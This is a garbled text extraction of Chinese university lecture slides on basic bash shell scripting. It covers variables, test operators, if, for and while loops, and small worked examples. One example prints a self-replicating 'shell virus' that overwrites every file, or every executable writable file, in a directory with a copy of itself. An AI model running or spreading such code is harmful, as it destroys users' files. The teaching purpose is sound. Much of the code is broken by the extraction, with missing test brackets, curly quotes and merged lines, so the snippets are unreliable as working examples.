1、第13章 基本shell脚本编程 吉林大学,Shell本身是一个用C语言编写的程序,它是用户使用Linux的 桥梁。 Shell既是一种命令语言,又是一种程序设计语言。 作为命令语言,它交互式地解释和执行用户输入的命令; 作为程序设计语言,它定义了各种变量和参数,并提供了许多在高级语言中才具有的控制结构,包括选择和循环。 它虽然不是Linux系统核心的一部分,但它调用了系统核心的大部分功能来执行程序、建立文件并以并行的方式协调各个程序的运行。,SHELL与内核的关系,开始shell程序设计,注释脚本 开始脚本编程 调用shell,即shebang结构,变量,在shell编程中,所有的变量都由字
2、符串组成,并且不需要对变量进行声明。要赋值给一个变量,可以这样写: 变量名=值 引用变量值可以加一个美元符号($)在变量前面: #!/bin/sh #对变量赋值: a=“hello world“ # 现在打印变量a的内容: echo “A is: $a“,常用系统变量,$ # :保存程序命令行参数的数目 $ 0 :保存程序名 $ * :以(“$1 $2.“)的形式保存所有输入的命令行参数,test命令,在bash中,命令test用于计算一个条件表达式的值.经常在条件语句和循环语句中被用来判断某些条件是否满足.,(1)字符串操作符,test命令 含义 Str1 = str2 当str1与str2
3、相同时,返回True Str1! = str2 当str1与str2不同时,返回True Str 当str不是空字符时,返回True -n str 当str的长度大于0时,返回True -z str 当str的长度是0时,返回True,(2)整数操作符,test表达式 含义 Int1 -eq int2 当int1等于int2时,返回True Int1 -ne int2 当int1不等于int2时,返回TrueInt1 -ge int2 当int1大于/等于int2时,返回True Int1 gt int2 当int1大于int2时,返回True Int1 -le int2 当int1小于/等于
4、int2时,返回True Int1 -lt int2 当int1小于int2时,返回True,(3)文件操作符,test表达式 含义 -d file 当file是一个目录时,返回 True -f file 当file是一个普通文件时,返回 True -r file 当file是一个刻读文件时,返回 True -s file 当file文件长度大于0时,返回 True -w file 当file是一个可写文件时,返回 True -x file 当file是一个可执行文件时,返回 True,表达式与操作,sum=sum+i; (C语言) 在bash中,$sum=$sum+$i (是错误的) 1 s
5、um=expr $sum + $i 2 let sum=sum+i 3 (sum=sum+i),程序结构 1 选择结构,if condition then statements else statements fi,#!/bin/sh echo “Is it morning? Please answer yes or no” read timeofday if $timeofday = “yes” ; then echo “Good morning” else echo “Good afternoon” fi exit 0,#!/bin/sh if “$SHELL“ = “/bin/bash“
6、 ; then echo “your login shell is the bash (bourne again shell)“ else echo “your login shell is not bash but $SHELL“ fi,2 for循环语句,for variable in values do statements done,例子1 for foo in bar fud 43 do echo $foo done exit 0,例子2 #!/bin/bash for file in $(ls f*.sh); do cat $file done exit 0,3 while循环语句
7、,while condition do statements done,#!/bin/bash echo “Enter password” read trythis while “$trythis” != “secret” ; do echo “Sorry, try again” read trythis done exit 0,#!/bin/bash foo=1 while “$foo” -le 20 do echo “Here we go again” foo=$($foo+1) done exit 0,shell程序实例 例1. 累计和问题,!/bin/bash result=0 num
8、=1 while test $num -le 10 doresult=expr $result + $numnum=expr $num + 1 done echo “result=$result“,例2. 文件属性检测,if test -d $1then echo “directoty“else echo “not directory“ fi if test -f $1then echo “file“else echo “not file“ fi if test -r $1then echo “readable“else echo “not readable“ fi,例3. 从简单到复杂的病毒
9、,#最简单的shell病毒代码 #!/bin/bash for file in * do cp $0 $file done,进一步的改进,#!/bin/bash for file in * do if test -f $file then if test -x $file then if test -w $file then cp $0 $file fi; fi; fi; done,shell种类的选择,推荐Bourne或者bash bash是Linux系统默认使用的shell。 特色: 可以使用类似DOS下面的doskey的功能,用方向键查阅和快速输入并修改命令。 自动通过查找匹配的方式给出以某字符串开头的命令。 包含了自身的帮助功能,你只要在提示符下面键入help就可以得到相关的帮助。,